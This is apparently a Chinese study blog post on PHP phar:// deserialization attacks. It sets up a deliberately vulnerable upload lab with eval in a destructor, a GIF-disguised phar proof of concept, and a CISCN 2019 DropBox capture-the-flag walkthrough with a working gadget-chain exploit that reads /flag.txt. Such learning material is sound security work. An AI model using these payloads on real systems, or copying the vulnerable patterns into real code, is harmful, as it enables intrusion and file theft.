phar://反序列化再学习

前言

今天复现时发现自己关于phar反序列化了解得不够,特地记录一下加深印象。

前置知识

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

phar文件组成

这里重点关注箭头部分,它会以序列化的形式储存用户自定义的meta-data,这也是我们利用的核心。

触发反序列化方式

既然.phar文件中存在可控的序列化内容,为了重写对象我们自然要想办法让它反序列化,在php中大部分系统函数在通过phar://伪协议解析phar文件时,会将meta-data反序列化:

也就是说,当存在file_get_contents($_GET[‘filename’])类似函数的时候,meta-data中的内容会自行反序列化,不需要反序列化函数,这也是phar反序列化的一个优点。

简单测试

首先我们需要生成一个.phar文件,php中存在Phar类实现相关操作。

注意:要生成.phar文件,需要先将php.ini中的phar.readonly设置成Off,并将前面的;去掉(php5.2没有该配置项)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//phar.php => 生成phar.phar
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject(); // **TestObject类 根据需要修改**
$o -> data='hu3sky';

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
1
2
3
4
5
6
7
8
9
// phar_unser.php => 自动反序列化重写对象
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include('phar://phar.phar');
?>

访问phar.php生成phar.phar,因为这里包含了phar.phar,直接访问phar_unser.php,成功输出构造内容:

phar文件上传绕过

之前提到过phar拓展通过结尾的__HALT_COMPILER();?>来识别是否为phar文件,与之前的内容和后缀名都无关。于是我们可以通过添加文件头+修改文件后缀来绕过一些文件类型限制。比较常见的是伪装成GIF图片。

首先我们搭建一个漏洞环境,限制只允许上传gif类型图片,然后再写一个有析构函数的可以利用的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
1
2
3
4
5
6
7
<!--upload_file.html-->
<body>
<form action="./upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
1
2
3
4
5
6
7
8
9
10
11
//file_un.php 可利用的代码
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); //函数解析phar://伪协议时自动反序列化

注意:没有file_exist($filename)去解析伪协议(或者类似函数,上文有提到)是不会自动反序列化的。

然后根据上面可利用的代码编写PoC(这个框架用得很多):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//类到底是什么根据情况自行修改
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}

$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');

//类的属性要怎么写根据情况自行修改
$object = new AnyClass();
$object -> output= 'phpinfo();';

$phar -> setMetadata($object);
$phar -> stopBuffering();

利用phar://伪协议访问相应文件成功执行phpinfo()命令:

PHP反序列化再巩固

我理解的PHP应该是:向用户可控的unserialize()函数中,传入一个含有析构函数的类的对象的序列化字符串(通常是精心构造的),使其反序列化为对象之后执行析构函数,达到我们的一些目的。

CISCN 2019 DropBox

首先通过抓包fuzz,发现存在任意文件下载漏洞, 把源码下载下来。

这里主要看delete.php和class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

单看delete.php发现不了什么,只是一个简单的删除文件功能,这里注意到$filename是我们可控的,另外新建了$file的对象,调用了open()函数;接着看class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

跟进File类的open()方法:

1
2
3
4
5
6
7
8
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

发现存在file_exists($filename),根据前置知识可以知道,这里的$filename如果我们传入phar://伪协议的话会触发反序列化,接下来的问题就是寻找利用点。

同样在File类,发现存在$this->close()方法可以读取文件:

1
2
3
public function close() {
return file_get_contents($this->filename);
}

在FileList类中,有__call()魔法函数,当FileList类的实例调用本类不存在的方法时,File类的$file实例将会调用该方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File(); # File对象
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func(); # $file->close()
}
}
......略
}

再看User类,发现它最后会调用一个close()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

......略

public function __destruct() {
$this->db->close();
}
}

整理思路:实例化User类,令$db为一个FileList类的对象,但是FileList类没有close()方法,将会调用__call()方法,而call()方法会调用File对象的close()方法,重写$filename,使file_get_contents($filename)读取指定文件,最后FileList对象调用__destruct(),将函数执行结果打印出来。

注意:这里可能有人和我之前想的一样:直接让$db赋值为File对象不就行了?但是这样不会调用__destruct()将函数读取的内容返回,所以我们必须要利用到FileList对象

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//1. 用这个构造一个 phar.phar
//2. 重命名为 phar.jpg,传上去
//3. POST 访问 /delete.php ,filename = phar://phar.jpg/
//4. flag 到手~
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
}
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

删除文件时抓包,phar://协议访问指定文件读取flag:

PS:php://filter/resource=phar://之类的伪协议可以用来绕过限制开头不能为phar://(参考SUCTF upload 2),这里尝试失败,但还是记录一下。

参考链接

初探phar://

ciscn2019华北赛区半决赛day1_web1题解

小结

复现 SUCTF Upload 2失败2333,还是tcl。

0%